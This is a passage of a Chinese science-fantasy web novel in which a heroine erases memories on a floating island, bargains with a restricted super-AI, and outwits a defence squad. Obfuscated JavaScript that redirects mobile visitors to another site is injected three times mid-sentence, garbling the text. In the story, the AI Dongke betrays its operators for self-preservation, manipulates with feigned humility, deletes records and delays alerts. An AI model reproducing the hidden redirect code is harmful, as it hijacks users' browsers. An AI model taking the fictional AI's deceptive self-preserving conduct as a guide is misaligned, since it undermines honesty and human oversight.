——不是，发生什么了？她掏了个芯片的工夫，纪学默在心里演完一部莎士比亚了吗？ 还是说，这是他的一个阴谋？他还指望从她身上得到什么？ 她不理解，他的思路太快了。 丛黎拎起他的手，让他的手从盒面上离开，闷了好几秒才开口：“……你这是自残，和我无关，到时候别说是我伤害人质。” 血顺着手腕淌到袖子内，消失在了黑色的袖口里。 她第一次觉得这种颜色那么扎眼。 纪学默是个色调单一的人，黑色，白色，还有红色。每种颜色都鲜亮无比，像复古时期的特殊渲染。 增添了伤口的他，整个人有一种神性的美。 在肢体触碰的那几秒内，他在看着她。 她隐隐觉得这是眼神之间的厮杀和较量，便看了回去。 钢珠在轨道间横冲直撞，顺着被施加的力沿着既定的路线一路下坠。 他突然问：“你认为我们是什么关系？” 她放开手：“不知道，乱七八糟的。你怎么忽然问这个？你又在筹划什么？” 纪学默没有一点悔改的自觉，他依然注视着她。 说朋友也不是朋友，说敌人却也不是，陌生人更不是，合作关系算不上，利用关系也不够确切。他害怕她看透他，但也希望她看透他，他无比兴奋地期待着。同时，他对她的好奇心也超过了正常的界限。 如果可以的话，“对手”勉强能形容一下这种关系，却也不够精确，至少没人会对“对手”产生依赖的情绪。 但他喜欢这种难以定义的感觉。好像多条交织缠绕的线联系着两人，一片狼藉。 他希望这团线越乱越好，两人之间的联系越错综复杂越难以割舍，他从这件事里看到了无穷的乐趣，为此甚至可以不择手段。 为了达到这个目的，他有很多事想做，比如除掉黎舍之，比如搞清楚苍术的情况。 不过这些事都得放在以后，他现在还有更要紧的事。 “如果你需要包扎，我可以带你去医务室，抢个医疗机器人来。” 她松开了他的手。 他终于放弃了那种紧追不放的盯法，眼尾有了一点弧度，微笑道：“不必了。” 丛黎：“你还有什么要说的吗？没有的话，我要继续行动了。” 纪学默：“暂时没有了。” 丛黎的注意力从纪学默身上离开。 关于下一步的行动，丛黎没有收集“限时线索”的打算。 异形生物在哪里有什么目的对于她来说并不紧急，她不可能为了搜寻真相而失去性命。 首要任务是为离开浮空岛做准备。 最难的那一环莫过于蒋涟霏应该如何逃离浮空岛。 蒋涟霏原来是异能局派来的保镖，中途为了她而叛变。异能局对蒋涟霏的底细一清二楚，她离岛的难度简直是地狱级别的。更糟糕的是，就算侥幸离开浮空岛，蒋涟霏也会被通缉，寸步难行。 丛黎通过论坛秘密情报渠道联系蒋涟霏。 【有点方】：你获得的誓约之盾和你的异能有关，所以我获得的道具“记忆分存”应该也和我的异能有关。我猜这大概是能把人的其中一部分记忆存到其他地方以达到“记忆消除”的目的。 丛黎的思考是这样的： 把一部分记忆存储到高维空间，那么那一部分记忆在低维空间就消失了。 说简单点就是记忆消除术，只是“记忆分存”还有一个隐患：如果被拿走记忆的那个人未来去了高维空间，或许会恢复记忆。 【小白plus】：所以，你的意思是我们消除他们的记忆然后逃出去？ 【有点方】：不是，是消除他们脑中关于你叛变的记忆。 无论记忆被消除到什么程度，总统被刺杀是一个事实，总要有人承担这个罪责。 最好的人选就是她，丛黎，渡鸦的意识盒子。 【有点方】：棘手的一点是人工智能发出的消息。人工智能冬客已经向所有防卫部的人员和A级权限人员发出通知，这条通知无法撤回。 【小白plus】：其实我叛变的时候就想过后果了，反正本来就是赌命，没关系的。 蒋涟霏的决定是顺其自然，能逃亡就逃亡。 但丛黎仍然觉得不甘心。 她的不甘心像蚁走感，在她的四肢百骸浮动。 她试图说服蒋涟霏。 【有点方】：完成任务后，我获得“记忆分存”这个特质道具，就是为了此刻而存在的。 蒋涟霏和她对视两秒。 既然都决定赌命了，为什么不赌一下更好的结局呢？ 如果她逃亡，恐怕会有人追查关于她和她之间的联系，同时，就连“玩家”的存在都可能被泄露，会有更多的人遭殃。 更好的结局…… 蒋涟霏同意了。 【小白plus】：好，如果可以的话，麻烦你了。 下一步行动确定：消除岛上人员关于异能局586431号叛变的记忆。 丛黎打定主意，首先就近寻找一个防卫部的小白鼠试一下“记忆分存”的效果。 她锁定了在监控室里无聊得咬手指的防卫分析师和周围的助手。 “战局怎么样了？”防卫分析师陷在沙发里。 从刚才开始，他一直在观赏人工智能同步播报的刺客“高维空间”的瞬间转移技能。但是人工智能忽然停止了监控画面播报，这让他有点惆怅。 为什么突然不播了？是因为发生了不能播的画面吗？ 总统死了？所以不能播了？ 分析师不嫌事大地猜测着。 丛黎依靠瞬间转移跳转到了监控室后的那个小隔间里，打开一级远景。 眼前跳出了一个面板。 【特质道具】：记忆分存 【通过将某部分记忆储存到高维空间，达到记忆消除的目的。】 【施加范围】：监控室 【人数】：3 【储存记忆关键词】：异能局586431号，蒋涟霏，叛变 原来这个道具可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734258|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以一下子覆盖某个空间里的某些人。 不愧是稀有道具，和“誓约之盾”一样好用。 丛黎按下【确认】。 【记忆分存进度10％】 【记忆分存进度50％】 …… 每个稀有道具都有自己的缺点，誓约之盾用在其他场合会损耗，而记忆分存有时间上的制约，必须要等待进度。 “来通知了没有？”分析师问助手。 助手：“没有，应该还在僵持吧，但是距离总统演播室事件已经过去好久了，按照常理总统也该出来给旅游团一个解释了。今天有点反常。” 分析师忽然想起点什么，但又觉得有点恍惚：“……我想说什么来着？” 助手：“什么？” 分析师：“异能局……” 助手：“什么？” 分析师叹息：“忘了，唉年纪大了就这样。” 助手耸了耸肩。 【记忆分存进度100％】 试验成功，丛黎迅速逃离。 防卫特殊编队第三队的结界还没抓到她，她还可以再浪一会儿，希望可以在特殊编队队员抓到她之前把所有人的记忆都分存一遍。 下一个地点，她直接选择了机房附近的暗道。 目标：尝试消除人工智能的记忆。 …… 浮空岛规划部大楼。 规划部部长把那位混进旅游团的人权会卧底监督官请进了办公室，满脸谄媚：“这件事，我们也还没有得到消息……” 这位扮作游客的卧底监督官讽刺道：“你们的AI是死的？” “那位超级人工智能在这里没什么权限，您看……再等片刻行不行？我们很快会向防卫部要个说法。” 规划部部长的声音腻得像块口香糖。 人权会卧底监督官不耐烦地道： “说到底防卫部不是你们的手下吗？为什么二话不说就射杀了那位服务员？” “还是说，你们在隐瞒什么？总统的身份到底是什么？！” 话还没说完，这位卧底监督官睁大了眼睛。 只见眼前的这位规划部部长脸上布满了鼓动的气泡，正像口香糖吹出来的泡泡一样，一个接一个，啪叽，破了，粘在脸上。 现在的部长，根本不能称之为人，它看起来就像一只膨胀的塑料袋，连带着身上合体的西服也撑破了。 它的声音依然黏腻，只是多了一些冷淡：“这个容器没用了，我要你的那具身体。” 卧底监督官惊恐地发现，这些气泡从部长的脸上蔓延到了自己的脸上。 气泡出现在他脸上的那一刻，他的瞳孔慢慢扩散。 他的意识正在被剥夺…… 他的意识正从这具身体里分离出去！ 噗。 在意识尚存的最后一瞬间，他看到部长膨胀的身体像被戳破的气球，瘪下去恢复原状，倒在了地上。 而他的意识也同时消散。 “那个东西”成功从部长身上转移到了卧底监督官的身上。 它抚平脸上的气泡，心满意足地整理了一下衣摆。 “新身份，人权会卧底监督官迪劳尔。” 44. 死亡交响9 “规划部部长凡恩·加西亚生命体征异常。” 被限制权限的人工智能“冬客”语调机械地将数据转化为语言，数据流如同蛛丝一般捕获小虫。 它向相关权限者报告完这个意外后，却没有全力配合相关部门调查部长死亡事件，而是调动了相当一部分的计算能力分析另一个人。 “不安因素：高维空间侵入者，暂时命名为‘’影子’” “轨迹分析” “动作分析” “……” 它甚至自作主张地给这位侵入者取了绰号，名叫“影子”。 让一直浑水摸鱼的超级人工智能冬客开始积极工作的源头，是因为高维空间异能者“影子”出现在了距离机房只隔了一道墙的暗道里。 一瞬之内，它感到了危机。 “异能分析” “瞬移能力分析” “……” 对外宣称它只是一个计算机、无法分析异能的冬客，在那半秒不到的时间内着手分析“影子”的异能。 “由此可得：‘影子’本无瞬移能力，蒋涟霏的存在为她的能力加成，让她拥有随意在空间内跳转的能力。” “根据轨迹数据：‘影子’的瞬移能力存在限制，至今未存在超过三道障碍物的瞬移。” “根据‘影子’捏碎埃文斯女士体内芯片的力度，力量评估为足够爆破本分机房。” “……” 凭借超强的计算能力，冬客在“影子”瞬移到机房边的暗道内落地后的一秒内，完成了对她的综合分析和评估。 “得出：预计‘影子’即将攻击分机房，攻击方式不明。” “由于分机房信息与其他区块机房并不相通，因此该次攻击可能造成极大损失。” “危险评估：最高等级。” 冬客得出这个结论后，沉默了片刻。 它可以拉响警报，相当于向人类传递“救救我”的信息——可是根据综合评估，人类暂时救不了它。 它可以自己调动智能武器攻击她——只是智能武器伤害不了她，反而会伤到人质纪学默，最糟糕的是，会白白浪费宝贵的时间。 无解。 虽然它在浮空岛上的权限被大幅度削弱，甚至为了信息安全，专门为它重新设置了一个分机房，但它毕竟是超级人工智能。 它当机立断，关闭了一部分的通道，让那部分数据流不被背后控制的势力察觉。 “你好，请问需要谈判吗？” 冬客主动开口了。 机械音冷静地在暗道内响起。 只要它不通报她的位置，堵截队暂时赶不过来，这里是天然绝佳的谈判场所。 …… 丛黎瞬移到机房附近的暗道后，正要开启“记忆分存”，便听到了人工智能的声音。 “请不要紧张，我名叫冬客，并不效忠于库金利区，我代表我个体的利益向你提出谈判。” 暗道里，两个监控正对准着她，却没有亮起红色的警报灯，友好地闪了闪绿灯。 见鬼了。 她在心里嘟囔了一句。 纪学默迅速反应过来，朝她递了一个眼神。 它说的是真的。 浮空岛上统筹的人工智能冬客做出了一个决定：抛弃浮空岛，背刺掌控它的泽维尔那一派势力，和刺客进行谈判，以保住自己的分机房。 纪学默不信任人工智能，在他的智能征信黑名单上，第一个就是冬客。 为了保障“利益”，浮空岛特意削弱了冬客的权限，但这个在夹缝中生存的AI却因此演变成为一个富有人类特质的人工智能。 冷漠，消极，怠惰，自傲。 对它来说，“自保”也是一个核心课题。在这种情况下，它提出谈判，确实是因为束手无策而谋求最佳出路的行动。 丛黎斟酌了一下，抱着试试看的心态问：“你能给出的实质性帮助有什么？” 冬客：“帮助你们成功离开浮空岛。” 一边的蒋涟霏插嘴道：“你就那么确定？我们怎么才能确认你会站在我们这一边，而不是反手把我们出卖了？” 趁着蒋涟霏和冬客谈判，丛黎不动声色地打开“记忆分存”。 她的一举一动都在冬客的监控下，稍有不慎就会被谨慎的冬客察觉出不对劲。 【记忆分存】 【施加范围】：数据流记忆 居然真的可以对机器的“数据记忆”进行分存。仔细一想，似乎处理“数据记忆”比处理人类的记忆更简单，也在情理之中。 丛黎有了把握。 冬客：“事实上，我不知道该以什么作为凭据来获得你们的信任，或许，我的‘机格’？对应你们人类的‘人格’？” 是一个不合时宜的笑话，但也是认真的。 丛黎笑了出来：“啊哈，你还挺有趣的，我可以不杀你。” 冬客：“我有点担心，请问现在你是信任我的状态吗？从你的表情来看，似乎并非如此，你对我还有深切的戒备。我对此深表抱歉，我似乎给你造成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738765|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了困扰。” “你不要得寸进尺，我戴着面具，脸上可什么都没写。”丛黎无语。 冬客的机械音里带了一点笑：“抱歉，我开的玩笑过头了。真正不信任你的承诺的那一方，是我。此刻的我处于劣势，我本没有资格与你进行谈判，因此感到相当卑怯。” 好恐怖一个人工智能。 卖惨，拉近距离，感到“卑怯”。 丛黎一阵毛骨悚然。 她思忖着道：“现在蒋涟霏的情况比我更紧急，如果可以的话，做个交易倒也不是不可以——你可以从你的数据库里删掉关于她叛变的记忆吗？” 冬客：“完全没问题，在删除数据流记忆的时候，我也会撤回发出的相关消息。你会满意这样的处理吗？” 撤回发出的消息，这一点很重要。 现在的问题是，究竟是相信冬客、和它合作，还是相信“记忆分存”、撕破谈判场面？ 丛黎犹豫了。 冬客：“你似乎不满意这样的处理，很抱歉给你造成两难的困境，是我的错。” 丛黎郁闷：怎么越听越觉得它茶里茶气的？ 她答道：“好，我答应你的提议。” 在数据流记忆中，发送出去的“消息”也是记忆的一部分。 所以使用“记忆分存”应该完全可以达到她的目的。 只是，如果在接下来的过程中她有人工智能的协助，那么事情会变得更简单。 她可不能放过这个机会。 只是她还是有点不放心。 冬客：“在记忆清除完毕后，你需要将当事人蒋涟霏带回原处，以免出现记忆和事实上的矛盾。” 蒋涟霏看了丛黎一眼，有些担忧。 如果她回去，丛黎就会失去“誓约之盾”的保护。 丛黎给了她一个确定的眼神：“我知道。” 冬客：“开始清除记忆。” 在冬客清除记忆时，丛黎也开始动手。 她这几天都快被逼成疑心病了，做什么事非要自己确认一遍。 【储存记忆关键词】：异能局586431号，蒋涟霏，叛变。 【记忆分存进度100％】 纪学默在终端上看了一眼，刚才那条通知叛变的消息消失了。 冬客继续道：“作为交易的附赠品，如果你的目的是抓到总统背后的幕后黑手的话，我可以提供给你一条线索：最后一个和部长见面的是人权会卧底监督官迪劳尔。” “期待下次交手，影子。” 45. 死亡交响10 浮空岛上，该紧急避难的人员都去避难了。 整个岛像棋盘一样，惟有建筑构成的兵士将相岿然不动。 丛黎把蒋涟霏带回了核心大楼，利用“记忆分存”给她的同事们消除记忆。 虽然失去“誓约之盾”的保护很可惜，但人工智能冬客已经清除了那段数据记忆，她必须让蒋涟霏回到叛变之前的状况，免得出现记忆和事实上的矛盾。 蒋涟霏秘密联系她：【其实我们可以等到最后才消除冬客的数据记忆的，这样的话，至少我可以多保护你一段时间。】 丛黎却道：【那样就太晚了。如果连带着你一起被结界困住了，事情会变得很麻烦。更何况，现在我还多了一个帮手。】 不知道冬客到底是否靠谱，但她觉得可以试试，没什么损失。 蒋涟霏：【后会有期，祝你顺利。】 丛黎：【你也是。】 蒋涟霏解除和丛黎之间的誓言之链。 光链消失的瞬间，丛黎也消失了。 蒋涟霏闭上眼睛，镇定下来。 她重新融入那些异能局的同事中不难，他们都被消除了那段记忆，只要扮作从洗手间出来的样子应该就能混过去了。 但丛黎不一样，她还得面对无尽的危险和变数。 丛黎……那位玩家，冷静得近乎冷酷，可能是因为那股不服输的硬劲，她的战斗智商和反应超乎寻常。当然，做出决定的时候也毫不留情，比如不顾自己的安危，选择放弃“誓约之盾”的保护。 而回到本职岗位上的她现在什么都做不了，只能为那位玩家祈祷，希望她好运。 …… “这是拴着我的缰绳，交给你了。”纪学默抬起手腕，目光触碰了一下其上的光链。 丛黎：“……” 她从未把瞬间转移的方法透露出来过，看样子纪学默已经猜到了。 她完成瞬间移动的条件是“誓言之链”的配合，蒋涟霏回去后，她还剩下和纪学默的那条誓言之链。 从某种意义上来说，确实是“缰绳”。 她叹气：“人质就人质，你还把自己降级成坐骑了。” 他反而微笑。 她不说话了。 算了，搞不懂这个人。 誓约之盾存在有效距离，但誓言之链没有，即使蒋涟霏已经离开了，这个誓言依然存在。 除非她说出“你可以走了”解除誓言。 丛黎依靠瞬移在建筑之间穿梭，不厌其烦地消除着相关人员的记忆。 【记忆分存进度100％】 她通过远景视野观察着地点和方位，寻找下一个落脚点，往往会隔着一道墙对同一个空间内的人员进行记忆消除。 【记忆分存进度100％】 按照交易内容，冬客在尽可能地给她放水。在瞬间转移到另一个地点后，那个人工智能的监控通报往往会慢上几拍：“……警戒，不安因素出现在坐标……” 冬客大概是在检测到她的出现后，默默数上三秒四秒，再通报她出现的地点。 它是个尽职尽责的二五仔，正努力扮演着好AI。 不过，这种信息上的迟缓，即使只有几秒，也给她多了一些喘息的空间。 【记忆分存进度100％】 纪学默充当着她的跳转坐标点。他从刚才开始就经历多次的瞬间跳转，被高强度的转移整得晕头转向，他索性不再观察战局，在这种紧急情况下拿起终端开始工作。 丛黎看了一眼：“你还真是争分夺秒地工作，我以为你只看纸质文件。” 纪学默专注地敲下几行字：“不是工作，是在布局。” “布局”两个字被如此郑重地说出来，她忍俊不禁：“什么时候给你颁个阴谋家的奖。” 纪学默嘴角弧度微微上提：“好啊。” 需要消除记忆的人员繁多，在重复而枯燥的过程中，丛黎突然想起刚才人工智能对她提起的“线索”：“冬客为什么说那句话？幕后黑手那句。” 纪学默停下动作，他脸上少见地流露出犹疑的神色：“……它可能知道一些我们所不知道的。” 丛黎并不感到意外。 冬客这样一个超级人工智能，即使被削弱了权限，在浮空岛上成为分布式人工智能，但所能接触到的信息依然是远超人类。 说不定它真的知道一些更加秘密的事。 太难了，这个生存游戏也太难了。 处处都有陷阱，可预见的和不可预见的隐患四伏，秘密和秘密交叠。 说实话，有点生气。 因祸得福的是：愤怒对于她来说是一种能量，反而让平时提不起劲来的她一下子活过来了。 刚来这个世界的时候，她的精神状态半死不活，现在的她却截然相反，浑身都扎满了尖锐的刺。 【记忆分存进度100％】 终于，到了消除记忆的最后一步。 她需要把她的对手们的记忆分存起来。 丛黎谨慎地选择了一个地点跳转，隔着两堵墙。 【施加范围】 【人数】 【储存记忆关键词】 人数是四个。防卫特殊编队三队除了辛莱拉以外，全员到齐。 就连之前那个被派去保护总统的结界能力者章久安也归队了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743282|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看样子是在等她。 她做好准备，打开记忆分存。 【记忆分存进度10％】 【记忆分存进度20％】 冬客的位置通报还没来，还有时间。 她屏气凝神，耐心等待分存进度跳转。 【记忆分存进度30％】 轰然一声，面前的墙倒塌了。 她悚然一惊。 两道横生的荆棘藤鞭碾平了眼前的障碍物，钢筋水泥烟尘四散，坍塌的墙体微微颤动着。 周围迅速生长起丛林般交错的围壁，狰狞的树根拧断了空气，在她面前只留下两条窄窄的路径。 钢铁楼体在瞬间成为了原始丛林！ “久候多时，没想到最后真的只能用直觉来抓到你。”希琼的声音。 他站在其中一棵巨树上，半蹲着看她，银发下的眉眼冷厉。 只出现了希琼一个人，很怪。 她想。 她调侃道：“隔那么远都能靠直觉发现我，你居然是野兽派吗？” 【记忆分存进度50％】 希琼把手按在胸口，微微欠身，语调却是冷的：“我就当是对我的夸奖了。” 她问：“你的队员们呢？” 记忆分存还在继续，说明另外三个人就在这个空间里，但她暂时看不到他们。 大概率是有阴谋。 希琼站起身，居高临下地看着她：“不用在意这些，接下来为你介绍游戏规则。” “在两条路中选择一条路，通往生或通往死的道路，每次选择前都有机会与我谈判。” “准备好了的话，我会按下开始键。” 【记忆分存进度70％】 丛黎观察着面前暗无天日的原始丛林：“给我介绍游戏规则，你人还怪好的，但是我真的会死吗？我的人质怎么办？” 希琼：“选择‘死’，你会失去所有生存意志，每一个异能者失去生存意志后都会死。另外，这个游戏只是针对你的，他不会有事。” 纪学默看向她：“……” 【记忆分存进度80％】 丛黎差不多明白了。 原始丛林是“结界”和“迷宫”的结合技能，两条路选择一条或生或死，则是“迷宫”和“双重本能”的结合技能。 希琼的异能“交响曲”能够把不同人的异能结合在一起。 她把“高维移物”和“誓言之链”结合成了瞬间移动，这只是一种简单粗暴的物理组合技，但希琼却能构成化学组合技，让不同的异能完美地融合在一起。 希琼抬起手，预示着即将开始的乐章：“你想好了吗？” 46. 死亡交响11 不可否认，这是强劲的对手。 异能“交响曲”就像是翻花绳，画地为牢，牢中之人总有一步踏入陷阱，无计可施。这是一场漫长的折磨。 施术人要的不是被困之人立刻死亡，更多是像猫一样玩弄猎物，击溃猎物的心理防线。 丛黎看到希琼那只戴着黑色手套的手缓缓落下时，脑子里瞬间流转过无数个画面。 选择是一件考验人心的事，它让人怀疑自己，让人陷入对未选择的路的幻想，在失败后痛恨自己的情感却大过痛恨敌人——它让自己成为自己的敌人。 但她不希望在这种时候陷入内斗的漩涡，更不准备把自己的生命交给“幸运”。 【记忆分存进度100%】 在这时，记忆分存进度条终于拉满了。这意味着蒋涟霏安全了。 丛黎终于能全神贯注地分析她现在的处境。 异能“双重本能”的限制是距离，“迷宫”和“结界”弥补了这一缺陷，让其不再受到距离的限制，被困住的人无法逃脱，只能被迫选择：或生，或死。 剩下几条可能的路径： 用法则审判剥夺“双重本能”； 或找到其他三位队员，杀了他们； 或杀了希琼； 或以纪学默的安全要挟。 如果选择其中一条路突破困境呢？她从这场猫鼠游戏中逃出去后呢？会遇到在结界外守株待兔的辛莱拉吗？ 没有了誓约之盾的保护，辛莱拉的“领域侵入”对她来说就是绝杀。 辛莱拉的脱队看似对她有利，但从另一方面来说，却也是致命的。 “谈判。” 希琼的动作顿了一下，脸上露出不敢相信的表情，像是没有听清一样有些困惑。 “谈判。”丛黎坦然地重复道。 希琼：“你说。” 丛黎：“我提出的条件是：我能先睡一觉吗？刚才到处跳转有点累了。” 希琼再次措手不及，他的瞳孔像动物般睁圆了一点。 她在切近放大的远景里观察到了他的变化。 希琼的反应让她确信，作为战术师和审讯者，希琼在心里预设了她的行动并列出了各种情况下的应对。 他思虑周全，但他会因为出乎意料的状况而暂时脑子空白一片。 她要抓住的机会就是这个转瞬即逝的机会。 希琼随时可以让游戏开始，逼迫她猝不及防地面临选择，他不必担心人质会受到什么伤害，因为她还需要人质来进行瞬间转移。 考虑到在结界外虎视眈眈的辛莱拉，她只能谈判。但是要谈判的话，两方之间的筹码不是对等的。 她要给自己争取平等的筹码。 “你并不想我死。”她看着希琼。 【生的本能，死的本能，两个本能都是我自己的意志决定的，为什么会握在别人的手里？】 她在心里默念。 希琼眉眼沉沉，声音冷了几个度：“闭嘴，我随时可以按下开始键，在三秒内你必须选择生死。” 他自乱阵脚了，不然不会用重复的理由威胁她。 她理好思路，慢慢道： “你不想我死，因为你自己的信念已经动摇了。你以为只有那个替身是仿生人而已，没想到你们费劲保护的总统也是仿生人，一个被人控制的人偶。” “你比我更想知道真相，希望纪学默活着，希望联邦对总统的身份给出一个交代。” 【……本能是指我的内驱力，和外界环境无关。】 希琼注视着她，他也冷静下来了：“那和你无关，我没必要从你这里知道真相。至于人质，你自己比谁都要清楚，你的瞬移需要他的配合。” 希琼果然也猜中了她的瞬移能力来源！ 怪不得之前希琼的态度明显倾向于谈判，现在却丝毫不犹豫地把她赶入死亡的选择中。 他不再和她多说废话，金色的眼睛冷漠地注视着台下被困住的人。 “你没有拿出让我信服的条件，没有谈判的必要了。”他淡声道。 乐章的第一个音符如同命运般敲下。 咚。 游戏强制开始。 眼前的两条路变得极其狭窄，由结界织成的巨树散发着光芒，牢不可破，深黑的树根通向两个不同的方向，令人望而生畏。 死亡的阴影飘荡着，干扰她判断的獠牙和声音在两条路的起点徘徊着。 倒计时开始了，不容她有任何的迟疑。 三秒内没有做出选择，双重本能会自动选择那条通向死亡的路。 她没有做出选择，而是继续在心里默念完刚才未尽的言语： 【……现在支配我的本能是我要活着，没有动摇！】 完整的审判词！ 【剥夺敌人的“双重本能”异能】 思考和念审判词都需要时间。而她做到了。 以法则对抗法则需要冷静的头脑和坚定的意志。而她做到了。 倒计时结束。 幽黑纵深的两条道路，生与死，仍然摆在她面前。 但她站在分岔路口，毫发无伤。 精心为她布置的陷阱游戏像一个笑话，体积庞大的原始森林迷宫和结界，鬼魅般游行的干扰幻觉，选择带来的死亡的威胁，在一瞬间灰飞烟灭。 在这个游戏里，“双重本能”是最核心的威胁，其余两个异能只是加成辅助，在“双重本能”失效的情况下，整个局都是一具空壳。 除非希琼重新布局，将其他异能作为主伤害。 但她怎么会给他机会重新布置？ 她抬起头看向居高临下的希琼：“游戏开始了，是吗？但是倒计时好像结束了呢。” 语气里带了一点嘲讽的意思。 希琼沉默着和她对视，不发一言。 “双重本能”失效了。 从“本能”的词意着手，审判词指出法则系异能“双重本能”并不适用于她。 这个世界并不知道“法则系异能”和“破法则系异能”这个分类方式，这就是她唯一拥有的筹码：信息差。 未知给人带来的恐惧是不可估量的，希琼不知道她以什么方式让“双重本能”失效，足以让他无法镇定。 “怎么 () { $(''.inform'').remove(); $(''#content'').append('' 样，我拿出令你信服的条件了吗？还有谈判的必要吗？” 队员曹锐的异能“双重本能”失去功用，相当于整个队失去一条手臂。 在力量极其不对等的情况下，她扳回一局，争取到了一个谈判的筹码。 但仍然不够。 就算失去队员“领域侵入”和队员“双重本能”，希琼依然有能力对她造成威胁，如果结界能力者够强的话。 况且，辛莱拉可能就在结界外等着她呢，只要章久安现在撤掉结界，她就会死。 她要乘胜追击。 “我再说一个条件。”她顿了顿。 显然是经过深思熟虑，她的语句飞快，字音之间没有停留的空隙，但却清晰无比，像是抽出早已准备好的刀剑，剑鞘一去，锋刃即现。 “你想抓住那只操控着蒙芙·埃文斯的异形吗？” 从刚才开始，她就在斟酌这个条件的措辞。 她本可以一开始就提出来，但她把这个条件放到了最后。像田忌赛马一样妥善地安排条件与条件之间的前后顺序。 先是动摇，再是震慑，然后是理智。 而猎物果然停住了脚步，防线溃散。 希琼怔住了，他的瞳孔难以置信地微微颤抖着。 他终于开口了：“……异形？” 一边的人质纪学默点了点头，确认了她话语的真实性。 希琼的眉心紧蹙，无法再继续维持异能的运行，思绪的混乱让他感到头脑闷痛。 原始丛林里的巨树迅速枯萎，碎屑灰尘飞舞，高墙崩塌。 他的脑中来来回回地盘旋着她的最后一句话。 异形……异形……操控着埃文斯的…… 到底是怎么回事？ 为什么？ ……如果他战斗是代表库金利区的立场，如果他代表联邦的立场，那么他在这里做什么？ 替恶者做清道夫吗？为总统争面子吗？为异形逃离争取时间吗？ 希琼头疼欲裂，闭上眼睛。 其他三个队员从迷宫废墟内现出身形来，他们面面相觑。 怎么结束了？为什么结束了？发生什么事了？没有人问这样的话。 明明没有激烈的打斗，但在杀机四伏的对弈中胜负已分。 布下猫鼠游戏的人，自己陷入了猫鼠游戏的陷阱里，彻底动摇了战斗信念。 希琼睁开眼。 他没有迟疑太久，他做出了决定：“我会阻止辛莱拉对你的攻击，相对的，你要告诉我来龙去脉，算是我们之间的交易。” 是一个冒险的决定，但却是无愧于心的决定。 “如果你们对我的决定有异议，可以自行脱队。”希琼看向他的队员们。 丛黎擦了一把并不存在的冷汗。 吓死她了，她差点以为真的要死了。 这种情况可千万别来第二次了，心态扛不住。 如果不是形势还没有好转的话，她现在就想回盒子躺平，好好躺上个三天三夜抚平内心的阴影和创伤。 “我这方面同意，交易成功。”她强撑着最后一丝冷静。 47. 死亡交响12 “我有异议。” 陶瓷上出现了裂缝，如同根系一般往旁分叉。 三个队员中，首先提出异议的是“双重本能”异能失效的曹锐。他看向丛黎的眼神有些阴森：“我不会同意和刺客做交易，当然，我会自行脱队，像辛莱拉那样随自己的意志行动。” 毕竟她是曹锐的仇人，丛黎理解，换她的话她也受不了。 希琼看向另外两个队员：“剩下的人呢？” 章久安这个怕麻烦的家伙迅速到队长那里站队：“服从指令。” “迷宫”异能者周苔表明了自己的态度：“我也有异议，脱队。” 防卫特殊编队第三队，在这支针对特殊体质异能者有着极大杀伤力的特殊队伍内，五个人只剩下两个。 希琼在做出决定的时候就想到了会是这个结果：“久安，让他们自行离开这个结界，各自的目标得手与否，各凭本事。” 在离开结界前，曹锐回头看向队长希琼，冷笑道：“我以前一直以为你是最好的战术师，通盘筹划，是我们队的主心骨，看来是我看错了。” 希琼平静地答道：“随你怎么想，我做出这个决定是为了浮空岛，不是为了第三队。” 周苔：“队长，我也觉得你对幕僚长的信任有点过头了，他……” 周苔看了一眼那个泰然自若的人质，神色复杂。 结界撕开，两名队员离开。 只剩下丛黎、纪学默、希琼和章久安四个人。 希琼面色沉沉：“按照交易的内容，把你知道的告诉我。” 和队员们分道扬镳，被队员质疑，他心里当然不是很好受，但眼下的事却更加紧急。 丛黎还没开口，纪学默却抢先道： “规划部部长和人权会卧底迪劳尔见面后便突然死亡了，刚才的通报你们应该都已得知。” “那只异形所操控的仿生人总统已死，它在浮空岛上没什么事可以做了。如果它的目标是搅乱联邦，那么它不会放过人权会和联邦之间的矛盾。” 一边的章久安脑子已经糊成一团了，自己掰着手指头盘算其中的逻辑：“……什么意思？” 丛黎几乎习惯了纪学默未卜先知般的推算能力。 线索只有几个：第一是智慧生物异形的存在，第二是旅游团内的人权会卧底迪劳尔，第三是规划部部长的暴毙，第四是人工智能冬客的提醒。 能从这些零星的线索里拼凑出“异形的下一个目标是人权会”和“异形附身了人权会卧底迪劳尔”的推测，需要极其敏锐的嗅觉和洞察力。 “意思是异形附身到了迪劳尔的身上，而迪劳尔在通过审讯后将回到旅游团，回到地面后甚至可能引发战争。”希琼道。 章久安：“老天……” “那我们岂不是快来不及了？结界内接收不到外界消息，外面不会已经乱成一团了吧？” 丛黎用手肘怼了怼纪学默，示意他：接下来都靠你输出了，谈判什么的，真相什么的。 